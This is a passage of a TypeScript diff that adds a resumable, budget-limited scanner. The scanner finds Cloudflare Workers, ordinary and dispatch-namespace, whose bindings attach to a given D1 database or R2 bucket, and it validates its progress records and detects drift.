scriptName: record.scriptName, + deploymentSha256: record.deploymentSha256, + versionIndex: record.versionIndex, + }; + } + case 'dispatch-namespace-inventory': { + if ( + !exactKeys( + record, + [...COMMON_KEYS, 'ordinaryInventorySha256', 'namespaceIndex'], + ['namespaceInventorySha256'], + ) || + !hash(record.ordinaryInventorySha256) || + !safeInteger(record.namespaceIndex, INVENTORY_BOUND) || + record.namespaceInventorySha256 !== undefined || + record.namespaceIndex !== 0 || + common.evidenceCount < 1 + ) { + return malformed(); + } + return { + ...common, + stage: record.stage, + ordinaryInventorySha256: record.ordinaryInventorySha256, + namespaceIndex: record.namespaceIndex, + ...(typeof record.namespaceInventorySha256 === 'string' + ? { namespaceInventorySha256: record.namespaceInventorySha256 } + : {}), + }; + } + case 'dispatch-script-page': { + const seen = cursorHashes(record.seenCursorSha256); + if ( + !exactKeys( + record, + [ + ...COMMON_KEYS, + 'ordinaryInventorySha256', + 'namespaceInventorySha256', + 'namespaceIndex', + 'namespaceName', + 'pageNumber', + 'seenCursorSha256', + 'totalDispatchItems', + 'dispatchEvidenceSum256', + 'dispatchEvidenceCount', + ], + ['pageStartCursor'], + ) || + !hash(record.ordinaryInventorySha256) || + !hash(record.namespaceInventorySha256) || + !safeInteger(record.namespaceIndex, INVENTORY_BOUND) || + !boundedString(record.namespaceName) || + (record.pageStartCursor !== undefined && + !boundedString(record.pageStartCursor)) || + !safeInteger(record.pageNumber, DISPATCH_PAGE_BOUND - 1) || + !seen || + !safeInteger(record.totalDispatchItems, INVENTORY_BOUND) || + !hash(record.dispatchEvidenceSum256) || + !safeInteger(record.dispatchEvidenceCount, INVENTORY_BOUND) || + record.dispatchEvidenceCount !== record.totalDispatchItems || + (record.dispatchEvidenceCount === 0 && + record.dispatchEvidenceSum256 !== EMPTY_MULTISET_SHA256) || + seen.length !== record.pageNumber || + !validPageStart(record.pageNumber, record.pageStartCursor, seen) || + common.evidenceCount < record.namespaceIndex + 2 || + (record.pageNumber === 0 && record.totalDispatchItems !== 0) + ) { + return malformed(); + } + return { + ...common, + stage: record.stage, + ordinaryInventorySha256: record.ordinaryInventorySha256, + namespaceInventorySha256: record.namespaceInventorySha256, + namespaceIndex: record.namespaceIndex, + namespaceName: record.namespaceName, + ...(typeof record.pageStartCursor === 'string' + ? { pageStartCursor: record.pageStartCursor } + : {}), + pageNumber: record.pageNumber, + seenCursorSha256: seen, + totalDispatchItems: record.totalDispatchItems, + dispatchEvidenceSum256: record.dispatchEvidenceSum256, + dispatchEvidenceCount: record.dispatchEvidenceCount, + }; + } + case 'dispatch-script-settings': { + const seen = cursorHashes(record.seenCursorSha256); + if ( + !exactKeys( + record, + [ + ...COMMON_KEYS, + 'ordinaryInventorySha256', + 'namespaceInventorySha256', + 'namespaceIndex', + 'namespaceName', + 'pageSha256', + 'pageItemCount', + 'itemOffset', + 'pageNumber', + 'seenCursorSha256', + 'totalDispatchItems', + 'dispatchEvidenceSum256', + 'dispatchEvidenceCount', + ], + ['pageStartCursor', 'nextCursor'], + ) || + !hash(record.ordinaryInventorySha256) || + !hash(record.namespaceInventorySha256) || + !safeInteger(record.namespaceIndex, INVENTORY_BOUND) || + !boundedString(record.namespaceName) || + (record.pageStartCursor !== undefined && + !boundedString(record.pageStartCursor)) || + (record.nextCursor !== undefined && + !boundedString(record.nextCursor)) || + !hash(record.pageSha256) || + !safeInteger(record.pageItemCount, DISPATCH_PAGE_SIZE) || + record.pageItemCount === 0 || + !safeInteger(record.itemOffset, record.pageItemCount as number) || + !safeInteger(record.pageNumber, DISPATCH_PAGE_BOUND - 1) || + !seen || + !safeInteger(record.totalDispatchItems, INVENTORY_BOUND) || + !hash(record.dispatchEvidenceSum256) || + !safeInteger(record.dispatchEvidenceCount, INVENTORY_BOUND) || + (record.dispatchEvidenceCount === 0 && + record.dispatchEvidenceSum256 !== EMPTY_MULTISET_SHA256) || + record.totalDispatchItems < record.pageItemCount || + record.dispatchEvidenceCount !== + record.totalDispatchItems - + record.pageItemCount + + (record.itemOffset as number) || + seen.length !== + record.pageNumber + (record.nextCursor === undefined ? 0 : 1) || + !validPageStart(record.pageNumber, record.pageStartCursor, seen) || + common.evidenceCount < record.namespaceIndex + 2 || + (record.pageNumber === 0 && + record.totalDispatchItems !== record.pageItemCount) || + (record.pageNumber === DISPATCH_PAGE_BOUND - 1 && + record.nextCursor !== undefined) || + (typeof record.nextCursor === 'string' && + seen.at(-1) !== sha256(record.nextCursor)) + ) { + return malformed(); + } + return { + ...common, + stage: record.stage, + ordinaryInventorySha256: record.ordinaryInventorySha256, + namespaceInventorySha256: record.namespaceInventorySha256, + namespaceIndex: record.namespaceIndex, + namespaceName: record.namespaceName, + ...(typeof record.pageStartCursor === 'string' + ? { pageStartCursor: record.pageStartCursor } + : {}), + ...(typeof record.nextCursor === 'string' + ? { nextCursor: record.nextCursor } + : {}), + pageSha256: record.pageSha256, + pageItemCount: record.pageItemCount, + itemOffset: record.itemOffset, + pageNumber: record.pageNumber, + seenCursorSha256: seen, + totalDispatchItems: record.totalDispatchItems, + dispatchEvidenceSum256: record.dispatchEvidenceSum256, + dispatchEvidenceCount: record.dispatchEvidenceCount, + }; + } + default: + return malformed(); + } +} + +export function initialWorkerAttachmentScan( + target: WorkerAttachmentScanTarget, +): WorkerAttachmentScanProgress { + const parsedTarget = parseTarget(target); + if (!parsedTarget) throw new CloudflareAttachmentScanProgressError(); + return { + version: 1, + target: parsedTarget, + stage: 'ordinary-script-inventory', + evidenceSha256: initialEvidence(parsedTarget), + evidenceCount: 0, + scriptIndex: 0, + }; +} + +function inventoryBoundExceeded(label: string, max: number): Error { + return new Error( + `${label} exceeded the supported inventory bound of ${max} items`, + ); +} + +function drift(): never { + throw new CloudflareAttachmentScanDriftError(); +} + +function checkSignal(signal: AbortSignal | undefined): void { + signal?.throwIfAborted(); +} + +function pending( + progress: WorkerAttachmentScanProgress, + attachments: readonly WorkerAttachment[], + budget: ProviderFetchBudget, +): WorkerAttachmentScanChunk { + return { + status: 'pending', + progress, + attachments, + providerFetchAttemptsReserved: budget.reserved, + }; +} + +function attached( + attachment: WorkerAttachment, + budget: ProviderFetchBudget, +): WorkerAttachmentScanChunk { + return { + status: 'attached', + attachment, + providerFetchAttemptsReserved: budget.reserved, + }; +} + +function complete( + progress: WorkerAttachmentScanProgress, + attachments: readonly WorkerAttachment[], + budget: ProviderFetchBudget, +): WorkerAttachmentScanChunk { + return { + status: 'complete', + evidenceSha256: progress.evidenceSha256, + evidenceCount: progress.evidenceCount, + attachments, + providerFetchAttemptsReserved: budget.reserved, + }; +} + +function targetMatches( + target: WorkerAttachmentScanTarget, + bindings: readonly Readonly>[], +): boolean { + return bindings.some((binding) => + target.kind === 'd1' + ? binding.type === 'd1' && binding.database_id === target.databaseId + : binding.type === 'r2_bucket' && + binding.bucket_name === target.bucketName, + ); +} + +function bindingsFrom( + value: unknown, +): readonly Readonly>[] { + if (!Array.isArray(value)) return []; + return value.map((binding) => { + const record = plainRecord(binding); + if (!record) { + throw new Error('Cloudflare Worker binding inventory was malformed'); + } + return record; + }); +} + +function versionBindings( + value: unknown, +): readonly Readonly>[] { + const record = plainRecord(value); + const resources = plainRecord(record?.resources); + if (!resources || !Array.isArray(resources.bindings)) { + throw new Error( + 'Cloudflare ordinary Worker version binding inventory was malformed', + ); + } + return bindingsFrom(resources?.bindings); +} + +function settingsBindings( + value: unknown, +): readonly Readonly>[] { + const record = plainRecord(value); + if (!record || !Array.isArray(record.bindings)) { + throw new Error( + 'Cloudflare dispatch Worker binding inventory was malformed', + ); + } + return bindingsFrom(record.bindings); +} + +function normalizedPageDigest( + page: DispatchScriptPage, + pageStartCursor: string | undefined, +): string { + const scripts = canonicalDispatchScripts(page.scripts); + return sha256( + JSON.stringify([ + pageStartCursor ?? null, + scripts.map((script) => [script.id, script.tags]), + page.nextCursor ?? null, + ]), + ); +} + +function canonicalDispatchScripts( + scripts: readonly NormalizedDispatchScript[], +): readonly NormalizedDispatchScript[] { + return scripts + .map((script) => ({ + id: script.id, + tags: [...script.tags].sort(codeUnitCompare), + })) + .sort((left, right) => codeUnitCompare(left.id, right.id)); +} + +function cursorDigest(cursor: string): string { + return sha256(cursor); +} + +function normalizeProviderCursor(value: unknown): string | undefined { + if (value === undefined || value === null || value === '') return undefined; + if (typeof value !== 'string' || utf8Length(value) > CURSOR_BYTE_BOUND) { + throw new Error( + 'Cloudflare dispatch script listing returned a malformed cursor', + ); + } + return value; +} + +function nextCursorFrom(payload: Record): string | undefined { + if (!Object.hasOwn(payload, 'result_info')) return undefined; + const resultInfo = plainRecord(payload.result_info); + if (!resultInfo) { + throw new Error( + 'Cloudflare dispatch script listing returned a malformed cursor', + ); + } + let cursors: Record | undefined; + if (Object.hasOwn(resultInfo, 'cursors')) { + cursors = plainRecord(resultInfo.cursors); + if (!cursors) { + throw new Error( + 'Cloudflare dispatch script listing returned a malformed cursor', + ); + } + } + return normalizeProviderCursor( + Object.hasOwn(resultInfo, 'cursor') ? resultInfo.cursor : cursors?.after, + ); +} + +export async function listDispatchScriptPage( + context: CloudflareWorkerAttachmentScanContext, + input: { + readonly namespace: string; + readonly cursor?: string; + readonly perPage: number; + readonly signal?: AbortSignal; + }, +): Promise { + let response: Response | undefined; + let attempts = 0; + for (let attempt = 0; attempt < CLOUDFLARE_SDK_MAX_ATTEMPTS; attempt += 1) { + checkSignal(input.signal); + attempts += 1; + response = await context.requestDispatchScriptPage(input); + if (response.status !== 429 && response.status < 500) break; + } + if (!response?.ok) { + throw new Error( + `Cloudflare dispatch script listing failed with status ${response?.status ?? 'unknown'}`, + ); + } + const payload: unknown = await response.json(); + const record = plainRecord(payload); + if (!record || !Object.hasOwn(record, 'result')) { + throw new Error('Cloudflare dispatch script listing was malformed'); + } + if (!Array.isArray(record.result)) { + throw new Error('Cloudflare dispatch script listing had no result array'); + } + const scripts: NormalizedDispatchScript[] = []; + for (const item of record.result) { + const candidate = plainRecord(item); + if (!candidate || !Object.hasOwn(candidate, 'id')) { + throw new Error( + 'Cloudflare dispatch script listing contained an invalid item', + ); + } + const id = candidate.id; + const tags = candidate.tags; + if ( + !boundedString(id) || + (tags !== undefined && + (!Array.isArray(tags) || !tags.every((tag) => typeof tag === 'string'))) + ) { + throw new Error( + 'Cloudflare dispatch script listing contained malformed script metadata', + ); + } + scripts.push({ + id, + tags: (tags as string[] | undefined) ?? [], + }); + } + const nextCursor = nextCursorFrom(record); + return { + scripts, + ...(nextCursor === undefined ? {} : { nextCursor }), + attempts, + }; +} + +export async function listAllDispatchScripts( + context: CloudflareWorkerAttachmentScanContext, + namespace: string, + signal?: AbortSignal, +): Promise { + const scripts: NormalizedDispatchScript[] = []; + let cursor: string | undefined; + let pageNumber = 0; + const seenCursorSha256 = new Set(); + do { + const page = await listDispatchScriptPage(context, { + namespace, + cursor, + perPage: 1_000, + signal, + }); + scripts.push(...page.scripts); + if (scripts.length > INVENTORY_BOUND) { + throw inventoryBoundExceeded( + 'dispatch script inventory', + INVENTORY_BOUND, + ); + } + cursor = page.nextCursor; + if (cursor) { + pageNumber += 1; + if (pageNumber >= DISPATCH_PAGE_BOUND) { + throw new Error( + 'Cloudflare dispatch script listing exceeded 100 pages', + ); + } + const digest = cursorDigest(cursor); + if (seenCursorSha256.has(digest)) { + throw new Error('Cloudflare dispatch script listing repeated a cursor'); + } + seenCursorSha256.add(digest); + } + } while (cursor); + return scripts; +} + +async function listOrdinaryScripts( + context: CloudflareWorkerAttachmentScanContext, + target: WorkerAttachmentScanTarget, + signal: AbortSignal | undefined, +): Promise { + checkSignal(signal); + const scripts: string[] = []; + const listed = context.client.workers.scripts.list( + { account_id: context.accountId }, + { signal }, + ); + for await (const script of listed) { + const id = script.id; + if (!boundedString(id)) { + throw new Error( + target.kind === 'd1' + ? 'Cloudflare ordinary Worker listing contained a script without an id' + : 'ordinary Worker has no id', + ); + } + scripts.push(id); + if (scripts.length > INVENTORY_BOUND) { + throw inventoryBoundExceeded( + 'ordinary Worker script inventory', + INVENTORY_BOUND, + ); + } + } + return scripts.sort(codeUnitCompare); +} + +async function listDispatchNamespaces( + context: CloudflareWorkerAttachmentScanContext, + target: WorkerAttachmentScanTarget, + signal: AbortSignal | undefined, +): Promise { + checkSignal(signal); + const namespaces: NormalizedNamespace[] = []; + let yielded = false; + try { + const listed = context.client.workersForPlatforms.dispatch.namespaces.list( + { account_id: context.accountId }, + { signal }, + ); + for await (const namespace of listed) { + yielded = true; + if (!boundedString(namespace.namespace_name)) { + throw new Error( + target.kind === 'd1' + ? 'Cloudflare dispatch namespace listing contained an unidentified namespace' + : 'dispatch namespace has no name', + ); + } + if ( + namespace.namespace_id !== undefined && + !boundedString(namespace.namespace_id) + ) { + throw new Error( + `Cloudflare dispatch namespace '${namespace.namespace_name}' had malformed identity metadata`, + ); + } + namespaces.push({ + name: namespace.namespace_name, + id: namespace.namespace_id ?? null, + scriptCount: + typeof namespace.script_count === 'number' && + Number.isSafeInteger(namespace.script_count) && + namespace.script_count >= 0 + ? namespace.script_count + : null, + }); + if (namespaces.length > INVENTORY_BOUND) { + throw inventoryBoundExceeded( + 'dispatch namespace inventory', + INVENTORY_BOUND, + ); + } + } + } catch (error) { + if ( + context.dispatchNamespace !== undefined || + yielded || + !isNotFound(error) + ) { + throw error; + } + } + return namespaces.sort((left, right) => + codeUnitCompare(left.name, right.name), + ); +} + +function deploymentVersions( + value: unknown, + target: WorkerAttachmentScanTarget, + scriptName: string, +): readonly ActiveVersion[] | undefined { + const response = plainRecord(value); + const deployments = response?.deployments; + if (!Array.isArray(deployments)) { + throw new Error( + `Cloudflare deployment inventory for ordinary Worker '${scriptName}' was malformed`, + ); + } + if (deployments.length === 0) return undefined; + const active = plainRecord(deployments[0]); + const rawVersions = active?.versions; + if ( + target.kind === 'd1' && + (!Array.isArray(rawVersions) || rawVersions.length === 0) + ) { + throw new Error( + `Cloudflare current deployment for ordinary Worker '${scriptName}' had no versions`, + ); + } + if (!Array.isArray(rawVersions)) return undefined; + const versions: ActiveVersion[] = []; + let hasLiveVersion = false; + for (const raw of rawVersions) { + const version = plainRecord(raw); + const versionId = version?.version_id; + if (typeof versionId !== 'string' || versionId.length === 0) { + throw new Error( + target.kind === 'd1' + ? `Cloudflare current deployment for ordinary Worker '${scriptName}' had malformed version metadata` + : `ordinary Worker '${scriptName}' has a malformed version`, + ); + } + const percentage = version?.percentage; + if (target.kind === 'd1') { + if ( + typeof percentage !== 'number' || + !Number.isFinite(percentage) || + percentage < 0 || + percentage > 100 + ) { + throw new Error( + `Cloudflare current deployment for ordinary Worker '${scriptName}' had malformed version metadata`, + ); + } + if (percentage > 0) hasLiveVersion = true; + } + versions.push({ + versionId, + percentage: + typeof percentage === 'number' && Number.isFinite(percentage) + ? percentage + : undefined, + }); + if (versions.length > INVENTORY_BOUND) { + throw inventoryBoundExceeded( + `ordinary Worker '${scriptName}' deployment version inventory`, + INVENTORY_BOUND, + ); + } + } + if (target.kind === 'd1' && !hasLiveVersion) { + throw new Error( + `Cloudflare current deployment for ordinary Worker '${scriptName}' had no live versions`, + ); + } + return versions; +} + +function deploymentDigest(versions: readonly ActiveVersion[]): string { + return sha256( + JSON.stringify( + versions.map((version) => [version.versionId, version.percentage]), + ), + ); +} + +function namespaceDigest(namespaces: readonly NormalizedNamespace[]): string { + return sha256( + JSON.stringify( + namespaces.map((namespace) => [ + namespace.name, + namespace.id, + namespace.scriptCount, + ]), + ), + ); +} + +function ordinaryDigest(scripts: readonly string[]): string { + return sha256(JSON.stringify(scripts)); +} + +function nextCommon( + progress: WorkerAttachmentScanProgress, + evidence?: Pick, +): ScanCommon { + return { + version: 1, + target: progress.target, + evidenceSha256: evidence?.evidenceSha256 ?? progress.evidenceSha256, + evidenceCount: evidence?.evidenceCount ?? progress.evidenceCount, + }; +} + +type DispatchScanProgress = Extract< + WorkerAttachmentScanProgress, + { stage: 'dispatch-script-page' | 'dispatch-script-settings' } +>; + +function completeDispatchNamespaceEvidence( + progress: DispatchScanProgress, +): Pick { + return addEvidence( + progress, + [ + 'dispatch-namespace', + progress.namespaceName, + progress.dispatchEvidenceCount, + progress.dispatchEvidenceSum256, + ], + progress.dispatchEvidenceCount + 1, + ); +} + +export async function advanceWorkerAttachmentScan( + context: CloudflareWorkerAttachmentScanContext, + input: { + readonly target: WorkerAttachmentScanTarget; + readonly progress: WorkerAttachmentScanProgress; + readonly maxProviderRequests: number; + readonly signal?: AbortSignal; + readonly stopOnFirstAttachment?: boolean; + }, +): Promise { + let progress = parseWorkerAttachmentScanProgress( + input.progress, + input.target, + ); + const budget = new ProviderFetchBudget(input.maxProviderRequests); + const attachments: WorkerAttachment[] = []; + let ordinaryScripts: readonly string[] | undefined; + let activeDeployment: + | Readonly<{ + scriptName: string; + digest: string; + versions: readonly ActiveVersion[]; + }> + | undefined; + let namespaces: readonly NormalizedNamespace[] | undefined; + + const ensureOrdinaryScripts = async (): Promise< + readonly string[] | undefined + > => { + if (ordinaryScripts) return ordinaryScripts; + if (!budget.reserve()) return undefined; + ordinaryScripts = await listOrdinaryScripts( + context, + input.target, + input.signal, + ); + return ordinaryScripts; + }; + const ensureNamespaces = async (): Promise< + readonly NormalizedNamespace[] | undefined + > => { + if (namespaces) return namespaces; + if (!budget.reserve()) return undefined; + namespaces = await listDispatchNamespaces( + context, + input.target, + input.signal, + ); + return namespaces; + }; + + for (;;) { + checkSignal(input.signal); + switch (progress.stage) { + case 'ordinary-script-inventory': { + const scripts = await ensureOrdinaryScripts(); + if (!scripts) return pending(progress, attachments, budget); + const digest = ordinaryDigest(scripts); + if ( + progress.ordinaryInventorySha256 !== undefined && + progress.ordinaryInventorySha256 !== digest + ) { + return drift(); + } + const evidence = + progress.ordinaryInventorySha256 === undefined + ? addEvidence(progress, ['ordinary-inventory', scripts]) + : { + evidenceSha256: progress.evidenceSha256, + evidenceCount: progress.evidenceCount, + }; + if (progress.scriptIndex > scripts.length) return drift(); + if (progress.scriptIndex === scripts.length) { + progress = { + ...nextCommon(progress, evidence), + stage: 'dispatch-namespace-inventory', + ordinaryInventorySha256: digest, + namespaceIndex: 0, + }; + continue; + } + progress = { + ...nextCommon(progress, evidence), + stage: 'ordinary-deployment', + ordinaryInventorySha256: digest, + scriptIndex: progress.scriptIndex, + scriptName: scripts[progress.scriptIndex] as string, + }; + continue; + } + + case 'ordinary-deployment': { + const scripts = await ensureOrdinaryScripts(); + if (!scripts) return pending(progress, attachments, budget); + if ( + ordinaryDigest(scripts) !== progress.ordinaryInventorySha256 || + scripts[progress.scriptIndex] !== progress.scriptName + ) { + return drift(); + } + if (!budget.reserve()) return pending(progress, attachments, budget); + checkSignal(input.signal); + const listed = await context.client.workers.scripts.deployments.list( + progress.scriptName, + { account_id: context.accountId }, + { signal: input.signal }, + ); + const versions = deploymentVersions( + listed, + input.target, + progress.scriptName, + ); + const normalized = versions ?? []; + const evidence = addEvidence(progress, [ + 'ordinary-deployment', + progress.scriptName, + normalized.map((version) => [version.versionId, version.percentage]), + ]); + if (normalized.length === 0) { + progress = { + ...nextCommon(progress, evidence), + stage: 'ordinary-script-inventory', + ordinaryInventorySha256: progress.ordinaryInventorySha256, + scriptIndex: progress.scriptIndex + 1, + }; + continue; + } + progress = { + ...nextCommon(progress, evidence), + stage: 'ordinary-version', + ordinaryInventorySha256: progress.ordinaryInventorySha256, + scriptIndex: progress.scriptIndex, + scriptName: progress.scriptName, + deploymentSha256: deploymentDigest(normalized), + versionIndex: 0, + }; + activeDeployment = { + scriptName: progress.scriptName, + digest: progress.deploymentSha256, + versions: normalized, + }; + continue; + } + + case 'ordinary-version': { + const scripts = await ensureOrdinaryScripts(); + if (!scripts) return pending(progress, attachments, budget); + if ( + ordinaryDigest(scripts) !== progress.ordinaryInventorySha256 || + scripts[progress.scriptIndex] !== progress.scriptName + ) { + return drift(); + } + let versions = + activeDeployment?.scriptName === progress.scriptName && + activeDeployment.digest === progress.deploymentSha256 + ? activeDeployment.versions + : undefined; + if (!versions) { + if (!budget.reserve()) return pending(progress, attachments, budget); + checkSignal(input.signal); + const listed = await context.client.workers.scripts.deployments.list( + progress.scriptName, + { account_id: context.accountId }, + { signal: input.signal }, + ); + versions = deploymentVersions( + listed, + input.target, + progress.scriptName, + ); + } + if ( + !versions || + deploymentDigest(versions) !== progress.deploymentSha256 || + progress.versionIndex > versions.length + ) { + return drift(); + } + if (progress.versionIndex === versions.length) { + progress = { + ...nextCommon(progress), + stage: 'ordinary-script-inventory', + ordinaryInventorySha256: progress.ordinaryInventorySha256, + scriptIndex: progress.scriptIndex + 1, + }; + continue; + } + if (!budget.reserve()) return pending(progress, attachments, budget); + const version = versions[progress.versionIndex] as ActiveVersion; + checkSignal(input.signal); + const detail = await context.client.workers.scripts.versions.get( + version.versionId, + { + account_id: context.accountId, + script_name: progress.scriptName, + }, + { signal: input.signal }, + ); + const matched = targetMatches(input.target, versionBindings(detail)); + const evidence = addEvidence(progress, [ + 'ordinary-version', + progress.scriptName, + version.versionId, + matched, + ]); + if (matched) { + const attachment: WorkerAttachment = { + scriptName: progress.scriptName, + plane: 'ordinary', + }; + if (input.stopOnFirstAttachment) { + return attached(attachment, budget); + } + attachments.push(attachment); + progress = { + ...nextCommon(progress, evidence), + stage: 'ordinary-script-inventory', + ordinaryInventorySha256: progress.ordinaryInventorySha256, + scriptIndex: progress.scriptIndex + 1, + }; + continue; + } + progress = { + ...nextCommon(progress, evidence), + stage: 'ordinary-version', + ordinaryInventorySha256: progress.ordinaryInventorySha256, + scriptIndex: progress.scriptIndex, + scriptName: progress.scriptName, + deploymentSha256: progress.deploymentSha256, + versionIndex: progress.versionIndex + 1, + }; + continue; + } + + case 'dispatch-namespace-inventory': { + const listed = await ensureNamespaces(); + if (!listed) return pending(progress, attachments, budget); + const digest = namespaceDigest(listed); + if ( + progress.namespaceInventorySha256 !== undefined && + progress.namespaceInventorySha256 !== digest + ) { + return drift(); + } + const evidence = + progress.namespaceInventorySha256 === undefined + ? addEvidence(progress, [ + 'dispatch-namespaces', + listed.map((namespace) => [ + namespace.name, + namespace.id, + namespace.scriptCount, + ]), + ]) + : { + evidenceSha256: progress.evidenceSha256, + evidenceCount: progress.evidenceCount, + }; + if (progress.namespaceIndex > listed.length) return drift(); + if (progress.namespaceIndex === listed.length) { + progress = { + ...nextCommon(progress, evidence), + stage: 'dispatch-namespace-inventory', + ordinaryInventorySha256: progress.ordinaryInventorySha256, + namespaceInventorySha256: digest, + namespaceIndex: progress.namespaceIndex, + }; + return complete(progress, attachments, budget); + } + progress = { + ...nextCommon(progress, evidence), + stage: 'dispatch-script-page', + ordinaryInventorySha256: progress.ordinaryInventorySha256, + namespaceInventorySha256: digest, + namespaceIndex: progress.namespaceIndex, + namespaceName: ( + listed[progress.namespaceIndex] as NormalizedNamespace + ).name, + pageNumber: 0, + seenCursorSha256: [], + totalDispatchItems: 0, + dispatchEvidenceSum256: EMPTY_MULTISET_SHA256, + dispatchEvidenceCount: 0, + }; + continue; + } + + case 'dispatch-script-page': { + const listed = await ensureNamespaces(); + if (!listed) return pending(progress, attachments, budget); + if ( + namespaceDigest(listed) !== progress.namespaceInventorySha256 || + listed[progress.namespaceIndex]?.name !== progress.namespaceName + ) { + return drift(); + } + if (!budget.reserve()) return pending(progress, attachments, budget); + const page = await listDispatchScriptPage(context, { + namespace: progress.namespaceName, + cursor: progress.pageStartCursor, + perPage: DISPATCH_PAGE_SIZE, + signal: input.signal, + }); + if (page.scripts.length > DISPATCH_PAGE_SIZE) { + throw new Error( + `Cloudflare dispatch script listing returned more than ${DISPATCH_PAGE_SIZE} items in one page`, + ); + } + const pageScripts = canonicalDispatchScripts(page.scripts); + const totalDispatchItems = + progress.totalDispatchItems + pageScripts.length; + if (totalDispatchItems > INVENTORY_BOUND) { + throw inventoryBoundExceeded( + 'dispatch script inventory', + INVENTORY_BOUND, + ); + } + let seenCursorSha256 = progress.seenCursorSha256; + if (page.nextCursor) { + if (progress.pageNumber + 1 >= DISPATCH_PAGE_BOUND) { + throw new Error( + 'Cloudflare dispatch script listing exceeded 100 pages', + ); + } + const nextHash = cursorDigest(page.nextCursor); + if (seenCursorSha256.includes(nextHash)) { + throw new Error( + 'Cloudflare dispatch script listing repeated a cursor', + ); + } + seenCursorSha256 = [...seenCursorSha256, nextHash]; + } + if (pageScripts.length > 0) { + progress = { + ...nextCommon(progress), + stage: 'dispatch-script-settings', + ordinaryInventorySha256: progress.ordinaryInventorySha256, + namespaceInventorySha256: progress.namespaceInventorySha256, + namespaceIndex: progress.namespaceIndex, + namespaceName: progress.namespaceName, + ...(progress.pageStartCursor + ? { pageStartCursor: progress.pageStartCursor } + : {}), + ...(page.nextCursor ? { nextCursor: page.nextCursor } : {}), + pageSha256: normalizedPageDigest(page, progress.pageStartCursor), + pageItemCount: pageScripts.length, + itemOffset: 0, + pageNumber: progress.pageNumber, + seenCursorSha256, + totalDispatchItems, + dispatchEvidenceSum256: progress.dispatchEvidenceSum256, + dispatchEvidenceCount: progress.dispatchEvidenceCount, + }; + continue; + } + if (page.nextCursor) { + progress = { + ...nextCommon(progress), + stage: 'dispatch-script-page', + ordinaryInventorySha256: progress.ordinaryInventorySha256, + namespaceInventorySha256: progress.namespaceInventorySha256, + namespaceIndex: progress.namespaceIndex, + namespaceName: progress.namespaceName, + pageStartCursor: page.nextCursor, + pageNumber: progress.pageNumber + 1, + seenCursorSha256, + totalDispatchItems, + dispatchEvidenceSum256: progress.dispatchEvidenceSum256, + dispatchEvidenceCount: progress.dispatchEvidenceCount, + }; + continue; + } + const evidence = completeDispatchNamespaceEvidence(progress); + progress = { + ...nextCommon(progress, evidence), + stage: 'dispatch-namespace-inventory', + ordinaryInventorySha256: progress.ordinaryInventorySha256, + namespaceInventorySha256: progress.namespaceInventorySha256, + namespaceIndex: progress.namespaceIndex + 1, + }; + continue; + } + + case 'dispatch-script-settings': { + const listed = await ensureNamespaces(); + if (!listed) return pending(progress, attachments, budget); + if ( + namespaceDigest(listed) !== progress.namespaceInventorySha256 || + listed[progress.namespaceIndex]?.name !== progress.namespaceName + ) { + return drift(); + } + if (!budget.reserve()) return pending(progress, attachments, budget); + const page = await listDispatchScriptPage(context, { + namespace: progress.namespaceName, + cursor: progress.pageStartCursor, + perPage: DISPATCH_PAGE_SIZE, + signal: input.signal, + }); + if (page.scripts.length > DISPATCH_PAGE_SIZE) { + throw new Error( + `Cloudflare dispatch script listing returned more than ${DISPATCH_PAGE_SIZE} items in one page`, + ); + } + const pageScripts = canonicalDispatchScripts(page.scripts); + if ( + normalizedPageDigest(page, progress.pageStartCursor) !== + progress.pageSha256 || + pageScripts.length !== progress.pageItemCount || + page.nextCursor !== progress.nextCursor || + progress.itemOffset > pageScripts.length + ) { + return drift(); + } + if (progress.itemOffset === pageScripts.length) { + if (page.nextCursor) { + progress = { + ...nextCommon(progress), + stage: 'dispatch-script-page', + ordinaryInventorySha256: progress.ordinaryInventorySha256, + namespaceInventorySha256: progress.namespaceInventorySha256, + namespaceIndex: progress.namespaceIndex, + namespaceName: progress.namespaceName, + pageStartCursor: page.nextCursor, + pageNumber: progress.pageNumber + 1, + seenCursorSha256: progress.seenCursorSha256, + totalDispatchItems: progress.totalDispatchItems, + dispatchEvidenceSum256: progress.dispatchEvidenceSum256, + dispatchEvidenceCount: progress.dispatchEvidenceCount, + }; + continue; + } + const evidence = completeDispatchNamespaceEvidence(progress); + progress = { + ...nextCommon(progress, evidence), + stage: 'dispatch-namespace-inventory', + ordinaryInventorySha256: progress.ordinaryInventorySha256, + namespaceInventorySha256: progress.namespaceInventorySha256, + namespaceIndex: progress.namespaceIndex + 1, + }; + continue; + } + if (!budget.reserve()) return pending(progress, attachments, budget); + const script = pageScripts[ + progress.itemOffset + ] as NormalizedDispatchScript; + checkSignal(input.signal); + const settings = + await context.client.workersForPlatforms.dispatch.namespaces.scripts.settings.get( + script.id, + { + account_id: context.accountId, + dispatch_namespace: progress.namespaceName, + }, + { signal: input.signal }, + ); + const matched = targetMatches(input.target, settingsBindings(settings)); + const dispatchEvidenceSum256 = addMultisetEvidence( + progress.dispatchEvidenceSum256, + [ + 'dispatch-settings', + progress.namespaceName, + script.id, + script.tags, + matched, + ], + ); + const dispatchEvidenceCount = progress.dispatchEvidenceCount + 1; + if (matched) { + const attachment: WorkerAttachment = { + scriptName: script.id, + plane: 'dispatch', + dispatchNamespace: progress.namespaceName, + }; + if (input.stopOnFirstAttachment) { + return attached(attachment, budget); + } + attachments.push(attachment); + } + progress = { + ...nextCommon(progress), + stage: 'dispatch-script-settings', + ordinaryInventorySha256: progress.ordinaryInventorySha256, + namespaceInventorySha256: progress.namespaceInventorySha256, + namespaceIndex: progress.namespaceIndex, + namespaceName: progress.namespaceName, + ...(progress.pageStartCursor + ? { pageStartCursor: progress.pageStartCursor } + : {}), + ...(progress.nextCursor ? { nextCursor: progress.nextCursor } : {}), + pageSha256: progress.pageSha256, + pageItemCount: progress.pageItemCount, + itemOffset: progress.itemOffset + 1, + pageNumber: progress.pageNumber, + seenCursorSha256: progress.seenCursorSha256, + totalDispatchItems: progress.totalDispatchItems, + dispatchEvidenceSum256, + dispatchEvidenceCount, + }; + continue; + } + } + } +} + +export async function listAllWorkerAttachments( + context: CloudflareWorkerAttachmentScanContext, + target: WorkerAttachmentScanTarget, + signal?: AbortSignal, +): Promise { + let progress = initialWorkerAttachmentScan(target); + const attachments: WorkerAttachment[] = []; + for (;;) { + const chunk = await advanceWorkerAttachmentScan(context, { + target, + progress, + maxProviderRequests: 1_000, + signal, + }); + if (chunk.status === 'attached') { + throw new Error('complete attachment scan returned an early match'); + } + attachments.push(...chunk.attachments); + if (chunk.status === 'complete') { + const sorted = attachments.sort((left, right) => + 